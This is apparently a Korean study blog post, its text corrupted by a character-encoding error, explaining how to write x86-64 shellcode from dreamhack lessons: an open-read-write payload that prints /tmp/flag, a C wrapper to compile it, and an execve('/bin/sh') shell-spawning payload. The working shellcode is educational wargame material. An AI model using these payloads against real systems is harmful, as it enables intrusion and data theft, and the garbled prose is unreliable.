์ ธ์ฝ๋๋? -> ์ต์คํ๋ก์์ ์ํด ์ ์๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋ ์กฐ๊ฐ
์ผ๋ฐ์ ์ผ๋ก ์ ธ์ ํ๋ํ๋ ๊ฒ์ด ๋ชฉ์ !
์ด์ ๋ธ๋ฆฌ์ด๋ก ์ด๋ฃจ์ด์ ธ์์
Ex) ํด์ปค๊ฐ rip๋ฅผ ์์ ์ด ์์ฑํ ์ ธ์ฝ๋๋ก ์ฎ๊ธฐ๋ฉด ํด์ปค๊ฐ ์ํ๋ ์ด์ ๋ธ๋ฆฌ ์ฝ๋๋ฅผ ์คํํ ์ ์์
orw ์ ธ์ฝ๋ ์์ฑ
- ํ์ผ์ ์ด๊ณ ์ฝ์ ๋ค ํ๋ฉด์ ์ถ๋ ฅํด์ฃผ๋ ์ ธ์ฝ๋!
/**
* /tmp/flag๋ฅผ ์ฝ๋ ์
ธ์ฝ๋
*/
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30); // ํ์ผ ์ฝ๊ณ buf์ ์ ์ฅ
write(1, buf, 0x30); // buf ์ ์๋ ๊ฐ write
์๋ ์ฐ๋ฆฌ๊ฐ ๋ง๋ค ์ ธ ์ฝ๋์ c์ธ์ด ์์ฌ์ฝ๋
1. int fd = open(“/tmp/flag”, O_RDONLY, NULL)
open ( ๋์ ํ์ผ์ด๋ฆ, ์ด๊ธฐ ์ต์ (RDONLY, WRONLY..), ํ์ผ์ ๊ทผ๊ถํ)
์ฐ๋ฆฌ๊ฐ ํด๋ณด๋ ๊ฒ์ ํ๋ก์ธ์ค์ /tmp/flag ํ์ผ์ฝ๊ณ ์ฐ๊ฒ ํ๋ ๊ฒ! ์ฆ,
1. "/tmp/flag" ๋ผ๋ ๋ฌธ์์ด์ ๋ฉ๋ชจ๋ฆฌ์ ์์น์์ผ์ผ ํจ (์คํ์ "/tmp/flag"๋ฅผ 16์ง์ ๋ฆฌํ์๋์์ผ๋ก ๋ณํ ํ push!!)
2. rdi(ํจ์์ ์ฒซ๋ฒ์งธ ์ธ์)๊ฐ ์ด๋ฅผ ๊ฐ๋ฆฌํค๋๋ก rsp๋ฅผ rdi๋ก ์ฎ๊ธด๋ค.
3. RDONLY๋ 0์ด๋ฏ๋ก rsi(๋๋ฒ์งธ ์ธ์)๋ 0์ผ๋ก ์ค์ ํ๋ค.
4. ํ์ผ ์ฝ์ ๋ ์ธ๋ฒ์งธ ์ธ์๋ ์๋ฏธ ์์ผ๋ฏ๋ก rdx(์ธ๋ฒ์งธ ์ธ์)๋ 0์ผ๋ก ์ค์
5. ๋ง์ง๋ง์ผ๋ก!! rax๋ฅผ open์ syscall ๊ฐ์ธ 2๋ก ์ค์
<๊ตฌํ>
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
2. read(fd, buf, 0x30)
read (ํ์ผ ๋์คํฌ๋ฆฝํฐ(ํ์ผ ์ ๊ทผ์ ์ด์), ์ฝ์ด๋ค์ผ ๋ฒํผ, ๋ฒํผ์ ํฌ๊ธฐ)
syscall์ ๋ฐํ๊ฐ์ rax์ ์ ์ฅ๋จ! ๋ฐ๋ผ์ open์ผ๋ก ์ป์ fd๋ rax์ ์ ์ฅ๋๋ค.
1. read์ ์ฒซ๋ฒ์งธ์ธ์๋ก fd๋ฅผ ๋ฐ์์ผ ํ๋ฏ๋ก rax๊ฐ์ rdi์ ๋ฃ๋๋ค.
2. rsi๋ ํ์ผ์์ ์ฝ์ ๋ฐ์ดํฐ๋ฅผ ์ ์ฅํ ์ฃผ์๋ฅผ ๊ฐ์ง๊ณ ์์ด์ผ ํ๋ฉฐ ์ฐ๋ฆฌ๊ฐ ์ฝ์ ๋ฐ์ดํฐ์ ํฌ๊ธฐ๋ 0x30์ด๋ฏ๋ก rsp-0x30์ rsi์ ๋์ ํ๋ค.
3. rdx๋ 0x30 ์ผ๋ก ์ค์
4. read๋ฅผ ์ํ syscall ์ 0์ด๋ฏ๋ก rax๋ 0
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
3. write(1, buf, 0x30)
1. ์ถ๋ ฅ์ stdout์ผ๋ก ํ ๊ฒ์ด๋ฏ๋ก rdi๋ 0x1 ( 0 : ํ์ค์ ๋ ฅ STDIN, 1: ํ์ค์ถ๋ ฅ STDOUT, 2: ํ์ค์๋ฌ STDERR )
2. rsi, rdx ๊ฐ์ ์์์ ์ฌ์ฉํ ๊ฒ๊ณผ ๊ฐ๋ค.
3. write๋ฅผ ์ํ syscall์ 1 ์ด๋ฏ๋ก rax๋ 1
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
์ฆ ์ต์ข ์ ์ผ๋ก ์ ธ์ฝ๋๋
;Name: orw.S
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
์ด์ ๊ฐ๋ค.
ํด๋น ์ด์ ๋ธ๋ฆฌ์ดํ์ผ์ ์ปดํ์ผ ํ๊ธฐ์ํด์๋ c ํ์ผ ํ์์ ์ค์ผ๋ ํค ์ฝ๋๋ก ๋ณํํด์ผํ๋ค.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
gcc๋ก ํด๋น c ํ์ผ์ ์ปดํ์ผํ๊ณ ์คํํ๋ฉด ์ฐ๋ฆฌ์ ์ ธ์ฝ๋๊ฐ ์ ๋จ๋ ๊ฒ์ ๋ณผ ์ ์๋ค.
๊ณต๊ฒฉํ๊ณ ์ ํ๋ ๋์์ ์์คํ ์์ ํด๋น ์ ธ์ฝ๋๋ฅผ ์คํํ ์ ์๋ค๋ฉด ์๋ ์๋ฒ์ ์๋ฃ๋ฅผ ์ ์ถํด๋ผ ์ ์๋ค.
๊ฐ ํจ์๋ง๋ค ์คํ ํ๋ ์ ์์ฑ -> ํจ์ ๋๋๋ฉด ์คํ ํ๋ ์ ํด์ ( but, garbage๊ฐ์ด ๋จ์์์ ์ ์์ผ๋ฏ๋ก, ์ ์ ํ ์ด๊ธฐํ๊ฐ ํ์!)
exeve ์ ธ์ฝ๋
- ์์์ ํ๋ก๊ทธ๋จ์ ์คํํ๋ ์ ธ์ฝ๋
- ์ด๋ฅผ ์ฌ์ฉํ๋ฉด ์๋ฒ์ ์ ธ์ ํ๋ํ ์ ์์!
- ์ ธ์ฝ๋๋ ๊ฑฐ์ exeve๋ฅผ ์๋ฏธ
/bin/sh ์ ์คํํ๋ ์ ธ์ฝ๋๋ฅผ ์์ฑํด๋ณด์!
execve(“/bin/sh”, null, null)
์ธ์๋ (filename, ์คํํ์ผ์ ๋๊ฒจ์ค ์ธ์, ํ๊ฒฝ๋ณ์)
์ฐ๋ฆฌ๋ sh ๋ง ์คํํ๋ฉด ๋๋ฏ๋ก 2,3๋ฒ์งธ ์ธ์๋ ๋ชจ๋ null๋ก ์ค์ ํด์ค๋ ๋๋ค.
1. "/bin/sh" 16์ง์ ๋ฆฌํ์๋์์ผ๋ก ๋ณํ ํ ์คํ์ push
2. rsp์ ๋ค์ด์๋ ๊ฐ์ rdi ์ ๋์ (์ฒซ๋ฒ์งธ ์ธ์)
3. rsi, rdx๋ null์ด๋ฏ๋ก ์ ๋ถ 0
3. sys_execve๋ฅผ ํธ์ถํ๋ syscall์ 0x3b ์ด๋ฏ๋ก rax์ ํด๋น ๊ฐ ๋์
;Name: execve.S
mov rax, 0x68732f6e69622f
push rax ; ์คํ์ ํ์ผ ๊ฒฝ๋ก 16์ง์๋ก push
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
[์ถ์ฒ]
dreamhack
'Hacking > System Hacking' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
[dreamhack] Return Address Overwrite ํ์ด (0) | 2022.03.31 |
---|---|
์คํ ๋ฒํผ ์ค๋ฒํ๋ก์ฐ ( Stack buffer Overflow ) (0) | 2022.03.31 |
pwntools ์ฌ์ฉ๋ฒ (0) | 2022.03.28 |
gdb ์ฌ์ฉ๋ฒ ์ตํ๊ธฐ (0) | 2022.03.28 |
X86 ์ด์ ๋ธ๋ฆฌ ์ ๋ฆฌ (0) | 2022.03.27 |